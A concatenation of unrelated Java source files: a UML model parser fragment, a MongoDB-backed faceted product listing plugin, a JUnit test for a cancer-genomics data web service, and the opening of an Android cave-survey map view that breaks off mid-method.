setConceptInfo(att, event, TV_TYPE_PROPERTY);
listener.newAttribute(event);
}
private void doValueMeaning(UMLAttribute att) {
NewValueMeaningEvent event = new NewValueMeaningEvent(att.getName().trim());
event.setValueDomainName(className);
currentElementIndex++;
ProgressEvent evt = new ProgressEvent();
evt.setMessage("Parsing " + att.getName());
evt.setStatus(currentElementIndex);
fireProgressEvent(evt);
UMLTaggedValue tv = att.getTaggedValue(reviewTag);
if(tv != null) {
event.setReviewed(tv.getValue().equals("1")?true:false);
}
setConceptInfo(att, event, TV_TYPE_VM);
listener.newValueMeaning(event);
}
// private void doDataType(UMLDataType dt) {
// listener.newDataType(new NewDataTypeEvent(dt.getName()));
// private void doOperation(Operation op) {
// NewOperationEvent event = new NewOperationEvent(op.getName());
// event.setClassName(className);
// listener.newOperation(event);
// private void doStereotype(Stereotype st) {
private void doAssociation(UMLAssociation assoc) {
NewAssociationEvent event = new NewAssociationEvent();
event.setRoleName(assoc.getRoleName());
String navig = "";
List<UMLAssociationEnd> ends = assoc.getAssociationEnds();
if(ends.size() != 2)
return;
UMLAssociationEnd end = ends.get(0);
// logger.debug("end A is navigable: " + end.isNavigable());
if (end.isNavigable()) {
navig += 'A';
}
UMLClass endClass = (UMLClass)(end.getUMLElement());
String pName = getPackageName(endClass.getPackage());
if(StringUtil.isEmpty(pName) || !isInPackageFilter(pName)) {
logger.info(PropertyAccessor.getProperty("skip.association", endClass.getName() + " " + end.getRoleName()));
logger.debug("assoc end role name: " + end.getRoleName());
return;
}
int low = end.getLowMultiplicity();
int high = end.getHighMultiplicity();
event.setALowCardinality(low);
event.setAHighCardinality(high);
event.setAClassName(getPackageName(endClass.getPackage()) + "." + endClass.getName());
event.setARole(end.getRoleName());
if(event.getAClassName() == null) {
logger.debug("AClassName: NULL");
return;
} else {
logger.debug("AClassName: " + event.getAClassName());
}
end = ends.get(1);
// logger.debug("end B is navigable: " + end.isNavigable());
if (end.isNavigable()) {
navig += 'B';
}
endClass = (UMLClass)(end.getUMLElement());
pName = getPackageName(endClass.getPackage());
if(StringUtil.isEmpty(pName) || !isInPackageFilter(pName)) {
logger.info(PropertyAccessor.getProperty("skip.association", endClass.getName() + " " + end.getRoleName()));
logger.debug("assoc end role name: " + end.getRoleName());
return;
}
low = end.getLowMultiplicity();
high = end.getHighMultiplicity();
event.setBLowCardinality(low);
event.setBHighCardinality(high);
event.setBClassName(getPackageName(endClass.getPackage()) + "." + endClass.getName());
event.setBRole(end.getRoleName());
if(event.getBClassName() == null) {
logger.debug("BClassName: NULL");
return;
} else {
logger.debug("BClassName: " + event.getBClassName());
}
// logger.debug("A END -- " + event.getAClassName() + " " + event.getALowCardinality());
// logger.debug("B END -- " + event.getBClassName() + " " + event.getBLowCardinality());
// netbeans seems to read self pointing associations wrong. Such that an end is navigable but has no target role, even though it does in the model.
if(event.getAClassName().equals(event.getBClassName())) {
if(navig.equals("B") && StringUtil.isEmpty(event.getBRole())) {
event.setBRole(event.getARole());
event.setBLowCardinality(event.getALowCardinality());
event.setBHighCardinality(event.getAHighCardinality());
} else if (navig.equals("A") && StringUtil.isEmpty(event.getARole())) {
event.setARole(event.getBRole());
event.setALowCardinality(event.getBLowCardinality());
event.setAHighCardinality(event.getBHighCardinality());
}
}
event.setDirection(navig);
logger.debug("Adding association. AClassName: " + event.getAClassName());
associationEvents.add(event);
}
// private void doComponent(Component comp) {
// private String cardinality(AssociationEnd end) {
// Collection range = end.getMultiplicity().getRange();
// for (Iterator it = range.iterator(); it.hasNext();) {
// MultiplicityRange mr = (MultiplicityRange) it.next();
// int low = mr.getLower();
// int high = mr.getUpper();
// if (low == high) {
// return "" + low;
// else {
// String h = (high >= 0) ? ("" + high) : "*";
// return low + ".." + h;
// return "";
private void fireLastEvents() {
for (Iterator<NewAssociationEvent> it = associationEvents.iterator(); it.hasNext();) {
listener.newAssociation(it.next());
}
for(Iterator<String> it = childGeneralizationMap.keySet().iterator(); it.hasNext(); ) {
String childClass = it.next();
recurseInheritance(childClass);
// listener.newGeneralization(childGeneralizationMap.get(childClass));
it = childGeneralizationMap.keySet().iterator(); it.hasNext();
}
ProgressEvent evt = new ProgressEvent();
evt.setGoal(100);
evt.setStatus(100);
evt.setMessage("Done parsing");
fireProgressEvent(evt);
}
private void recurseInheritance(String childClass) {
NewGeneralizationEvent genz = childGeneralizationMap.get(childClass);
if(childGeneralizationMap.containsKey(genz.getParentClassName())) {
recurseInheritance(genz.getParentClassName());
}
listener.newGeneralization(genz);
childGeneralizationMap.remove(childClass);
}
private void setConceptInfo(UMLTaggableElement elt, NewConceptualEvent event, String type) {
NewConceptEvent concept = new NewConceptEvent();
setConceptInfo(elt, concept, type, "", 0);
if(!StringUtil.isEmpty(concept.getConceptCode()))
event.addConcept(concept);
concept = new NewConceptEvent();
for(int i=1;setConceptInfo(elt, concept, type, TV_QUALIFIER, i); i++) {
if(!StringUtil.isEmpty(concept.getConceptCode()))
event.addConcept(concept);
concept = new NewConceptEvent();
}
}
private boolean setConceptInfo(UMLTaggableElement elt, NewConceptEvent event, String type, String pre, int n) {
UMLTaggedValue tv = elt.getTaggedValue(type + pre + TV_CONCEPT_CODE + ((n>0)?""+n:""));
if (tv != null) {
event.setConceptCode(tv.getValue().trim());
} else
return false;
tv = elt.getTaggedValue(type + pre + TV_CONCEPT_DEFINITION + ((n>0)?""+n:""));
if (tv != null) {
event.setConceptDefinition(tv.getValue().trim());
}
tv = elt.getTaggedValue(type + pre + TV_CONCEPT_DEFINITION_SOURCE + ((n>0)?""+n:""));
if (tv != null) {
event.setConceptDefinitionSource(tv.getValue().trim());
}
tv = elt.getTaggedValue(type + pre + TV_CONCEPT_PREFERRED_NAME + ((n>0)?""+n:""));
if (tv != null) {
event.setConceptPreferredName(tv.getValue().trim());
}
event.setOrder(n);
return true;
}
private boolean isInPackageFilter(String pName) {
Map packageFilter = UMLDefaults.getInstance().getPackageFilter();
return (packageFilter.size() == 0) || (packageFilter.containsKey(pName) || (UMLDefaults.getInstance().getDefaultPackageAlias() != null));
}
private String getPackageName(UMLPackage pkg) {
StringBuffer pack = new StringBuffer();
String s = null;
do {
s = null;
if(pkg != null) {
s = pkg.getName();
if(s.indexOf(" ") == -1) {
if(pack.length() > 0)
pack.insert(0, '.');
pack.insert(0, s);
}
pkg = pkg.getParent();
}
} while (s != null);
return pack.toString();
}
private boolean isClassBanned(String className) {
for(int i=0; i<bannedClassNames.length; i++) {
if(className.indexOf(bannedClassNames[i]) > -1) return true;
}
return false;
}
private void fireProgressEvent(ProgressEvent evt) {
if(progressListener != null)
progressListener.newProgressEvent(evt);
}
public void addProgressListener(ProgressListener progressListener) {
this.progressListener = progressListener;
if (listener != null) {
listener.addProgressListener(progressListener);
}
}
private String getDocumentation(UMLTaggableElement elt, String tag) {
UMLTaggedValue tv = elt.getTaggedValue(tag);
StringBuilder sb = new StringBuilder();
if(tv == null)
return null;
else {
sb.append(tv.getValue());
for(int i = 2;true; i++) {
tv = elt.getTaggedValue(tag + i);
if(tv == null)
return sb.toString();
else {
sb.append(tv.getValue());
}
}
}
}
}
|
package io.core9.facets;
import io.core9.plugin.database.mongodb.MongoDatabase;
import io.core9.plugin.server.VirtualHost;
import io.core9.plugin.server.request.Request;
import io.core9.plugin.widgets.datahandler.DataHandler;
import io.core9.plugin.widgets.datahandler.DataHandlerFactoryConfig;
import io.core9.plugin.widgets.datahandler.factories.ContentDataHandler;
import io.core9.plugin.widgets.datahandler.factories.ContentDataHandlerConfig;
import io.core9.plugin.widgets.datahandler.factories.CustomGlobal;
import io.core9.plugin.widgets.datahandler.factories.CustomVariable;
import java.util.ArrayList;
import java.util.Deque;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import net.xeoh.plugins.base.annotations.PluginImplementation;
import net.xeoh.plugins.base.annotations.injections.InjectPlugin;
import com.mongodb.BasicDBObject;
import com.mongodb.DBCollection;
import com.mongodb.DBObject;
@PluginImplementation
public class ListingDataHandlerImpl implements ListingDataHandler<ContentDataHandlerConfig> {
private static final String NAME = "FacetedListing";
private static final String CTX_DATABASE = "database";
private static final String CTX_PREFIX = "prefix";
@InjectPlugin
private MongoDatabase database;
@InjectPlugin
private ContentDataHandler<ContentDataHandlerConfig> contentHandlerFactory;
@Override
public String getName() {
return NAME;
}
@Override
public Class<? extends DataHandlerFactoryConfig> getConfigClass() {
return ContentDataHandlerConfig.class;
}
@Override
public DataHandler<ContentDataHandlerConfig> createDataHandler(final DataHandlerFactoryConfig options) {
final ContentDataHandlerConfig config = (ContentDataHandlerConfig) options;
return new DataHandler<ContentDataHandlerConfig>(){
@SuppressWarnings("unchecked")
@Override
public Map<String, Object> handle(Request req) {
Map<String,Object> result = new HashMap<String, Object>(1);
Map<String,Deque<String>> params = req.getQueryParams();
int page = 1;
if(params.size() > 0) {
if(params.containsKey("clear")) {
redirectToClearedParameters(req, params);
} else if(params.containsKey("page")) {
page = Integer.parseInt(params.remove("page").getFirst());
}
}
DBObject listing = getListingPageObject(req.getVirtualHost(), req);
List<String> andProperties = new ArrayList<String>();
Map<String, Deque<String>> orProperties = new HashMap<String, Deque<String>>();
for(Map.Entry<String, Deque<String>> param : params.entrySet()) {
if(param.getValue().size() > 1) {
orProperties.put(param.getKey(), param.getValue());
} else {
andProperties.add(param.getKey().replaceFirst("properties:", "") + ":" + param.getValue().getFirst());
}
}
int perPage = config.getPager().getResultsPerPage();
int start = ((page - 1) * perPage) + 1;
int end = page * perPage;
int index = 0;
List<DBObject> resultProducts = new ArrayList<DBObject>();
for(DBObject product : (List<DBObject>) listing.removeField("products")) {
List<String> productProperties = (List<String>) product.get("properties");
if(productProperties != null
&& productProperties.containsAll(andProperties)
&& containsOrClause(productProperties, orProperties)) {
if(++index >= start && index <= end) {
resultProducts.add(product);
}
}
}
result.put("products", resultProducts);
result.put("content", listing);
result.put("facets", getFacet(listing, params));
result.put("total", config.getPager().retrieveNumberOfPages(index));
result.put("page", page);
putCustomVariablesOnContext(req, listing);
return result;
}
private boolean containsOrClause(List<String> properties, Map<String, Deque<String>> ors) {
for(Map.Entry<String, Deque<String>> or : ors.entrySet()) {
if(!containsOrClause(properties, or.getKey().replace("properties:", ""), or.getValue())) {
return false;
}
}
return true;
}
private boolean containsOrClause(List<String> properties, String type, Deque<String> values) {
for(String value : values) {
if(properties.contains(type + ":" + value)) {
return true;
}
}
return false;
}
/**
* TODO: WTF?!
* @param listing
* @param params
* @return
*/
private DBObject getFacet(DBObject listing, Map<String, Deque<String>> params) {
DBObject facets = (DBObject) listing.removeField("facets");
for(String currentlySelectedFacet : params.keySet()) {
DBObject facet = (DBObject) facets.get(currentlySelectedFacet);
if(facet != null) {
@SuppressWarnings("unchecked")
List<DBObject> facetOptions = (List<DBObject>) facet.get("options");
if(facetOptions != null) {
for(String optionId : params.get(currentlySelectedFacet)) {
for(DBObject option : facetOptions) {
if(option.get("id").equals(optionId)) {
option.put("used", true);
}
}
}
}
}
}
return facets;
}
protected DBObject getListingPageObject(VirtualHost vhost, Request req) {
DBCollection coll = database.getCollection(vhost.getContext(CTX_DATABASE), vhost.getContext(CTX_PREFIX) + config.getContentType());
Map<String,Object> query = CustomGlobal.convertToQuery(config.getFields(), req, options.getComponentName());
return coll.findOne(new BasicDBObject(query));
}
private void putCustomVariablesOnContext(Request req, DBObject content) {
if(config.getCustomVariables() != null) {
for(CustomVariable var : config.getCustomVariables()) {
if(var.isManual()) {
req.getResponse().addGlobal(var.getKey(), var.getValue());
} else {
req.getResponse().addGlobal(var.getKey(), content.get(var.getValue()));
}
}
}
}
@Override
public ContentDataHandlerConfig getOptions() {
return (ContentDataHandlerConfig) options;
}
};
}
protected void redirectToClearedParameters(Request req, Map<String, Deque<String>> params) {
Deque<String> clear = params.remove("clear");
for(String clearItem : clear) {
int separator = clearItem.lastIndexOf(":");
String group = clearItem.substring(0, separator);
String value = clearItem.substring(separator + 1);
params.get(group).remove(value);
}
parseRedirectionString(params);
req.getResponse().sendRedirect(301, req.getPath() + "?" + parseRedirectionString(params));
}
private String parseRedirectionString(Map<String, Deque<String>> params) {
String result = "";
for(Map.Entry<String, Deque<String>> param : params.entrySet()) {
if(!param.getValue().isEmpty()) {
for(String value : param.getValue()) {
result += param.getKey() + "=" + value + "&";
}
result.substring(0, result.length() - 1);
}
}
if(result.length() > 0) {
result = result.substring(0, result.length() - 1);
}
return result;
}
}
|
package org.mskcc.cgds.test.servlet;
import java.io.IOException;
import java.io.File;
import java.util.ArrayList;
import java.util.HashSet;
import junit.framework.TestCase;
import org.mskcc.cgds.dao.DaoCancerStudy;
import org.mskcc.cgds.dao.DaoCase;
import org.mskcc.cgds.dao.DaoCaseList;
import org.mskcc.cgds.dao.DaoException;
import org.mskcc.cgds.dao.DaoGeneticProfile;
import org.mskcc.cgds.dao.DaoUser;
import org.mskcc.cgds.dao.DaoUserAccessRight;
import org.mskcc.cgds.model.*;
import org.mskcc.cgds.scripts.ImportTypesOfCancers;
import org.mskcc.cgds.scripts.ResetDatabase;
import org.mskcc.cgds.servlet.WebService;
import org.mskcc.cgds.test.util.NullHttpServletRequest;
import org.mskcc.cgds.util.AccessControl;
import org.mskcc.cgds.util.internal.AccessControlImpl;
import org.mskcc.cgds.util.ProgressMonitor;
public class TestWebService extends TestCase {
CancerStudy publicCancerStudy;
CancerStudy privateCancerStudy1;
CancerStudy privateCancerStudy2;
User user1;
User user2;
String cleartextPwd;
GeneticProfile privateGeneticProfile;
GeneticProfile publicGeneticProfile;
AccessControl accessControl = new AccessControlImpl();
public void testWebService() throws Exception {
setUpDBMS();
WebService webService = new WebService();
// null request
NullHttpServletRequest aNullHttpServletRequest = new NullHttpServletRequest();
NullHttpServletResponse aNullHttpServletResponse = new NullHttpServletResponse();
webService.processClient( aNullHttpServletRequest, aNullHttpServletResponse );
assertTrue( aNullHttpServletResponse.getOutput().contains("# CGDS Kernel: Data served up fresh at") );
checkRequest( mkStringArray( WebService.CMD, "getTypesOfCancer" ),
mkStringArray( "type_of_cancer_id\tname", "LUAD\tLung adenocarcinoma" ) );
// bad command
checkRequest( mkStringArray( WebService.CMD, "badCommand" ), "Error: 'badCommand' not a valid command." );
/* TBD: Recoded when we provide granualar access
// public studies
String[] publicStudies = mkStringArray( "cancer_study_id\tname\tdescription",
studyLine( publicCancerStudy ) );
checkRequest( mkStringArray( WebService.CMD, "getCancerStudies" ), publicStudies );
*/
// no cancer_study_id for "getGeneticProfiles"
checkRequest( mkStringArray( WebService.CMD, "getGeneticProfiles" ),
mkStringArray( "Error: " + "No cancer study (cancer_study_id), or genetic profile (genetic_profile_id) " +
"or case list or (case_list) case set (case_set_id) provided by request. " +
"Please reformulate request." ) );
checkRequest( mkStringArray( WebService.CMD, "getGeneticProfiles", WebService.CANCER_STUDY_ID, CancerStudy.NO_SUCH_STUDY +"" ),
mkStringArray( "Error: " + "Problem when identifying a cancer study for the request." ) );
// getGeneticProfiles for public study
String[] publicGenePro = mkStringArray( "genetic_profile_id\tgenetic_profile_name\tgenetic_profile_description\tcancer_study_id\tgenetic_alteration_type\tshow_profile_in_analysis_tab",
"stableIdpublic\tprofileName\tprofileDescription\t3\tCOPY_NUMBER_ALTERATION\ttrue");
checkRequest( mkStringArray(
WebService.CMD, "getGeneticProfiles",
WebService.CANCER_STUDY_ID, publicCancerStudy.getCancerStudyStableId()),
publicGenePro );
/* TBD: Recoded when we provide granualar access
// with bad key
checkRequest( mkStringArray(
WebService.CMD, "getGeneticProfiles",
WebService.SECRET_KEY, "not_good_key",
WebService.CANCER_STUDY_ID, publicCancerStudy.getCancerStudyStableId()),
publicGenePro );
// missing email address for private study
String deniedError = "Error: User cannot access the cancer study called 'name'. Please provide credentials to access private data.";
checkRequest( mkStringArray( WebService.CMD, "getGeneticProfiles", WebService.CANCER_STUDY_ID, "study1" ),
mkStringArray( deniedError ) );
// denied for "getGeneticProfiles"; no key
checkRequest( mkStringArray(
WebService.CMD, "getGeneticProfiles",
WebService.CANCER_STUDY_ID, "study1",
WebService.EMAIL_ADDRESS, user1.getEmail()
),
mkStringArray( deniedError ) );
// denied for "getGeneticProfiles"; bad key
checkRequest( mkStringArray(
WebService.CMD, "getGeneticProfiles",
WebService.SECRET_KEY, "not_good_key",
WebService.CANCER_STUDY_ID, "study1",
WebService.EMAIL_ADDRESS, user1.getEmail()
),
mkStringArray( deniedError ) );
// getGeneticProfiles works for private study
String[] privateGenePro1 = mkStringArray( "genetic_profile_id\tgenetic_profile_name\tgenetic_profile_description\tcancer_study_id\tgenetic_alteration_type\tshow_profile_in_analysis_tab",
"stableIdPrivate\tprofileName\tprofileDescription\t1\tCOPY_NUMBER_ALTERATION\ttrue");
checkRequest( mkStringArray(
WebService.CMD, "getGeneticProfiles",
WebService.SECRET_KEY, cleartextPwd,
WebService.CANCER_STUDY_ID, "study1",
WebService.EMAIL_ADDRESS, user1.getEmail()
),
mkStringArray( privateGenePro1 ) );
*/
}
private void checkRequest( String[] requestFields, String... responseLines ) throws IOException{
checkRequest( false, requestFields, responseLines );
}
/**
* check a request
* @param debug if true, print servlet's output
* @param requestFields array embedded with name, value pairs for the httpRequest
* @param responseLines array of expected responses
* @throws IOException
*/
private void checkRequest( boolean debug, String[] requestFields, String... responseLines ) throws IOException{
WebService webService = new WebService();
NullHttpServletRequest aNullHttpServletRequest = new NullHttpServletRequest();
NullHttpServletResponse aNullHttpServletResponse = new NullHttpServletResponse();
for( int i=0; i<requestFields.length; i += 2 ){
aNullHttpServletRequest.setParameter( requestFields[i], requestFields[i+1] );
}
webService.processClient( aNullHttpServletRequest, aNullHttpServletResponse );
assertTrue( aNullHttpServletResponse.getOutput().contains("# CGDS Kernel: Data served up fresh at") );
if( debug ){
System.out.println( "\nResponse says:\n" + aNullHttpServletResponse.getOutput() );
}
String[] lines = aNullHttpServletResponse.getOutput().split("\n");
for( int i=0; i<responseLines.length; i++ ){
assertEquals( responseLines[i], lines[i+1]);
}
}
private String[] mkStringArray( String... requestFields ){
return requestFields;
}
private String studyLine( CancerStudy cancerStudy ){
return cancerStudy.getCancerStudyStableId() + "\t" + cancerStudy.getName()
+ "\t" + cancerStudy.getDescription();
}
public void testGetCancerStudyIDs() throws Exception {
setUpDBMS();
HashSet<String> studies;
NullHttpServletRequest aNullHttpServletRequest = new NullHttpServletRequest();
studies = WebService.getCancerStudyIDs(aNullHttpServletRequest);
assertEquals( 0, studies.size() );
// example getGeneticProfiles request
aNullHttpServletRequest.setParameter(WebService.CANCER_STUDY_ID, "HI");
studies = WebService.getCancerStudyIDs(aNullHttpServletRequest);
assertEquals( null, studies );
aNullHttpServletRequest.setParameter(WebService.CANCER_STUDY_ID, "33");
studies = WebService.getCancerStudyIDs(aNullHttpServletRequest);
assertEquals( null, studies );
aNullHttpServletRequest.setParameter(WebService.CANCER_STUDY_ID, "study1");
studies = WebService.getCancerStudyIDs(aNullHttpServletRequest);
assertEquals( 1, studies.size() );
assertTrue( studies.contains("study1"));
// example getProfileData, getMutationData, ... request with existing CASE_SET_ID
aNullHttpServletRequest = new NullHttpServletRequest();
aNullHttpServletRequest.setParameter(WebService.CASE_SET_ID, "HI");
studies = WebService.getCancerStudyIDs(aNullHttpServletRequest);
assertEquals( null, studies );
DaoCaseList aDaoCaseList = new DaoCaseList();
String exampleCaseSetId = "exampleID";
int thisIsNotACancerStudyId = 5;
CaseList caseList = new CaseList( exampleCaseSetId, 0, thisIsNotACancerStudyId, "" );
ArrayList<String> t = new ArrayList<String>();
caseList.setCaseList( t );
aDaoCaseList.addCaseList(caseList);
aNullHttpServletRequest.setParameter(WebService.CASE_SET_ID, exampleCaseSetId );
studies = WebService.getCancerStudyIDs(aNullHttpServletRequest);
assertEquals( null, studies );
aDaoCaseList.deleteAllRecords();
caseList.setCancerStudyId( 1 ); // CancerStudyId inserted by setUpDBMS()
aDaoCaseList.addCaseList(caseList);
studies = WebService.getCancerStudyIDs(aNullHttpServletRequest);
assertEquals( 1, studies.size() );
assertTrue( studies.contains("study1"));
// test situations when case_set_id not provided, but profile_id is, as by getProfileData
aNullHttpServletRequest = new NullHttpServletRequest();
aNullHttpServletRequest.setParameter(WebService.GENETIC_PROFILE_ID,
privateGeneticProfile.getStableId() );
studies = WebService.getCancerStudyIDs(aNullHttpServletRequest);
assertEquals( 1, studies.size() );
assertTrue( studies.contains
(DaoCancerStudy.getCancerStudyByInternalId(privateGeneticProfile.getCancerStudyId()).getCancerStudyStableId()));
// test situation when multiple profile_ids provided, as by getProfileData
aNullHttpServletRequest = new NullHttpServletRequest();
aNullHttpServletRequest.setParameter(
WebService.GENETIC_PROFILE_ID, privateGeneticProfile.getStableId() + ","
+ publicGeneticProfile.getStableId() );
studies = WebService.getCancerStudyIDs(aNullHttpServletRequest);
assertTrue( studies.contains(DaoCancerStudy.getCancerStudyByInternalId
(privateGeneticProfile.getCancerStudyId()).getCancerStudyStableId()));
assertTrue( studies.contains(DaoCancerStudy.getCancerStudyByInternalId
(privateGeneticProfile.getCancerStudyId()).getCancerStudyStableId()));
// test situation when a case_list is explicitly provided, as in getClinicalData, etc.
DaoCase daoCase = new DaoCase();
String c1 = "TCGA-12345";
daoCase.addCase( c1, publicGeneticProfile.getGeneticProfileId());
aNullHttpServletRequest = new NullHttpServletRequest();
aNullHttpServletRequest.setParameter( WebService.CASE_LIST, c1 );
studies = WebService.getCancerStudyIDs(aNullHttpServletRequest);
assertTrue( studies.contains(DaoCancerStudy.getCancerStudyByInternalId
(publicGeneticProfile.getCancerStudyId()).getCancerStudyStableId()));
String c2 = "TCGA-54321";
daoCase.addCase( c2, privateGeneticProfile.getGeneticProfileId() );
aNullHttpServletRequest = new NullHttpServletRequest();
aNullHttpServletRequest.setParameter( WebService.CASE_LIST, c1 + "," + c2 );
studies = WebService.getCancerStudyIDs(aNullHttpServletRequest);
assertTrue( studies.contains(DaoCancerStudy.getCancerStudyByInternalId
(privateGeneticProfile.getCancerStudyId()).getCancerStudyStableId()));
assertTrue( studies.contains(DaoCancerStudy.getCancerStudyByInternalId
(publicGeneticProfile.getCancerStudyId()).getCancerStudyStableId()));
}
private void setUpDBMS() throws DaoException, IOException{
ResetDatabase.resetDatabase();
user1 = new User("artg@gmail.com", "Arthur", true);
DaoUser.addUser(user1);
user2 = new User("joe@gmail.com", "J", true);
DaoUser.addUser(user2);
// load cancers
ImportTypesOfCancers.load(new ProgressMonitor(), new File("test_data/cancers.txt"));
// make a couple of private studies (1 and 2)
privateCancerStudy1 = new CancerStudy( "name", "description", "study1", "brca", false );
DaoCancerStudy.addCancerStudy(privateCancerStudy1);
privateCancerStudy2 = new CancerStudy( "other name", "other description", "study2", "brca", false );
DaoCancerStudy.addCancerStudy(privateCancerStudy2);
publicCancerStudy = new CancerStudy( "public name", "description", "study3", "brca", true );
DaoCancerStudy.addCancerStudy(publicCancerStudy);
//UserAccessRight userAccessRight = new UserAccessRight( user1.getEmail(), privateCancerStudy1.getInternalId() );
//DaoUserAccessRight.addUserAccessRight(userAccessRight);
DaoGeneticProfile aDaoGeneticProfile = new DaoGeneticProfile();
String publicSid = "stableIdpublic";
publicGeneticProfile = new GeneticProfile( publicSid, publicCancerStudy.getInternalId(),
GeneticAlterationType.COPY_NUMBER_ALTERATION,
"profileName", "profileDescription", true);
aDaoGeneticProfile.addGeneticProfile( publicGeneticProfile );
// have to refetch from the dbms to get the profile_id; sigh!
publicGeneticProfile = aDaoGeneticProfile.getGeneticProfileByStableId( publicSid );
String privateSid = "stableIdPrivate";
privateGeneticProfile = new GeneticProfile( privateSid, privateCancerStudy1.getInternalId(),
GeneticAlterationType.COPY_NUMBER_ALTERATION,
"profileName", "profileDescription", true);
aDaoGeneticProfile.addGeneticProfile( privateGeneticProfile );
privateGeneticProfile = aDaoGeneticProfile.getGeneticProfileByStableId(privateSid);
}
}
|
package com.astoev.cave.survey.activity.map;
import android.content.Context;
import android.graphics.Bitmap;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.DashPathEffect;
import android.graphics.Paint;
import android.graphics.Point;
import android.graphics.drawable.Drawable;
import android.util.AttributeSet;
import android.util.Log;
import android.util.SparseArray;
import android.util.SparseIntArray;
import android.view.View;
import com.astoev.cave.survey.Constants;
import com.astoev.cave.survey.R;
import com.astoev.cave.survey.activity.UIUtilities;
import com.astoev.cave.survey.model.Gallery;
import com.astoev.cave.survey.model.Leg;
import com.astoev.cave.survey.model.Option;
import com.astoev.cave.survey.model.Vector;
import com.astoev.cave.survey.service.Options;
import com.astoev.cave.survey.service.Workspace;
import com.astoev.cave.survey.util.DaoUtil;
import java.io.ByteArrayOutputStream;
import java.util.ArrayList;
import java.util.List;
public class MapView extends View {
public static final int POINT_RADIUS = 3;
public static final int MIDDLE_POINT_RADIUS = 2;
public static final int MEASURE_POINT_RADIUS = 2;
public static final int CURR_POINT_RADIUS = 8;
private final static int LABEL_DEVIATION_X = 10;
private final static int LABEL_DEVIATION_Y = 15;
private static final int [] GRID_STEPS = new int[] {20,10, 5, 5, 2, 2, 2, 2, 1, 1, 1};
private final int SPACING = 5;
private final Paint polygonPaint = new Paint();
private final Paint polygonWidthPaint = new Paint();
private final Paint overlayPaint = new Paint();
private final Paint youAreHerePaint = new Paint();
private final Paint gridPaint = new Paint();
private final Paint vectorsPaint = new Paint();
private final Paint vectorPointPaint = new Paint();
private int scale = 10;
private int mapCenterMoveX = 0;
private int mapCenterMoveY = 0;
private float initialMoveX = 0;
private float initialMoveY = 0;
private Point northCenter = new Point();
private List<Integer> processedLegs = new ArrayList<Integer>();
private SparseArray<Point2D> mapPoints = new SparseArray<Point2D>();
private SparseIntArray galleryColors = new SparseIntArray();
private SparseArray<String> galleryNames = new SparseArray<String>();
private boolean horizontalPlan = true;
public MapView(Context context, AttributeSet attrs) {
super(context, attrs);
polygonPaint.setColor(Color.RED);
polygonPaint.setStrokeWidth(2);
polygonWidthPaint.setColor(Color.RED);
polygonWidthPaint.setStrokeWidth(1);
overlayPaint.setColor(Color.WHITE);
youAreHerePaint.setColor(Color.WHITE);
youAreHerePaint.setAlpha(50);
// semi transparent white
gridPaint.setColor(Color.parseColor("#11FFFFFF"));
gridPaint.setStrokeWidth(1);
vectorsPaint.setStrokeWidth(1);
vectorsPaint.setStyle(Paint.Style.STROKE);
vectorsPaint.setPathEffect(new DashPathEffect(new float[]{2, 6}, 0));
vectorsPaint.setAlpha(50);
vectorPointPaint.setStrokeWidth(1);
vectorPointPaint.setAlpha(50);
// need to instruct that changes to the canvas will be made, otherwise the screen might become blank
setWillNotDraw(false);
}
@Override
public void onDraw(Canvas canvas) {
// need to call parent
super.onDraw(canvas);
try {
processedLegs.clear();
mapPoints.clear();
galleryColors.clear();
galleryNames.clear();
// prepare map surface
int maxX = canvas.getWidth();
int maxY = canvas.getHeight();
int centerX;
int centerY;
if (horizontalPlan) {
// starting from the center of the screen
centerX = maxX / 2;
centerY = maxY / 2;
} else {
// slightly more left for the vertical plan (advancing to right)
centerX = maxX / 4;
centerY = maxY / 2;
}
String azimuthUnits = Options.getOptionValue(Option.CODE_AZIMUTH_UNITS);
String slopeUnits = Options.getOptionValue(Option.CODE_SLOPE_UNITS);
int gridStepIndex = scale/5;
// grid scale
int gridStep = GRID_STEPS[gridStepIndex] * scale;
// grid start
int gridStartX = mapCenterMoveX % gridStep - SPACING + centerX - (centerX / gridStep) * gridStep;
int gridStartY = mapCenterMoveY % gridStep - SPACING + centerY - (centerY / gridStep) * gridStep;
// grid horizontal lines
for (int x=0; x<maxX/gridStep; x++) {
canvas.drawLine(x*gridStep + SPACING + gridStartX, SPACING, x*gridStep + SPACING + gridStartX, maxY - SPACING, gridPaint);
}
// grid vertical lines
for (int y=0; y<maxY/gridStep; y++) {
canvas.drawLine(SPACING, y*gridStep + SPACING + gridStartY, maxX - SPACING, y*gridStep + SPACING + gridStartY, gridPaint);
}
// load the points
List<Leg> legs = DaoUtil.getCurrProjectLegs(true);
String pointLabel;
while (processedLegs.size() < legs.size()) {
for (Leg l : legs) {
if (processedLegs.size() == legs.size()) {
break;
}
if (!processedLegs.contains(l.getId())) {
// first leg ever
Point2D first;
if (processedLegs.size() == 0) {
if (horizontalPlan) {
first = new Point2D(Float.valueOf(centerX), Float.valueOf(centerY), l.getLeft(), l.getRight(), MapUtilities.getAzimuthInDegrees(l.getAzimuth(), azimuthUnits));
} else {
first = new Point2D(Float.valueOf(centerX), Float.valueOf(centerY), l.getTop(), l.getDown(), MapUtilities.getSlopeInDegrees(l.getSlope(), slopeUnits));
}
} else {
// update previously created point with the correct values for left/right/up/down
first = mapPoints.get(l.getFromPoint().getId());
if (horizontalPlan) {
first.setLeft(l.getLeft());
first.setRight(l.getRight());
if (l.getAzimuth() != null) {
first.setAngle(MapUtilities.getAzimuthInDegrees(l.getAzimuth(), azimuthUnits));
} else {
first.setAngle(null);
}
} else {
first.setLeft(l.getTop());
first.setRight(l.getDown());
if (l.getSlope() != null) {
first.setAngle(MapUtilities.getSlopeInDegrees(l.getSlope(), slopeUnits));
} else {
first.setAngle(null);
}
}
}
if (mapPoints.get(l.getFromPoint().getId()) == null) {
if (!l.isMiddle()) {
mapPoints.put(l.getFromPoint().getId(), first);
}
// draw first point
if (!l.isMiddle()) {
//color
if (galleryColors.get(l.getGalleryId(), Constants.NOT_FOUND) == Constants.NOT_FOUND) {
galleryColors.put(l.getGalleryId(), MapUtilities.getNextGalleryColor(galleryColors.size()));
Gallery gallery = DaoUtil.getGallery(l.getGalleryId());
galleryNames.put(l.getGalleryId(), gallery.getName());
}
polygonPaint.setColor(galleryColors.get(l.getGalleryId()));
polygonWidthPaint.setColor(galleryColors.get(l.getGalleryId()));
vectorsPaint.setColor(galleryColors.get(l.getGalleryId()));
vectorPointPaint.setColor(galleryColors.get(l.getGalleryId()));
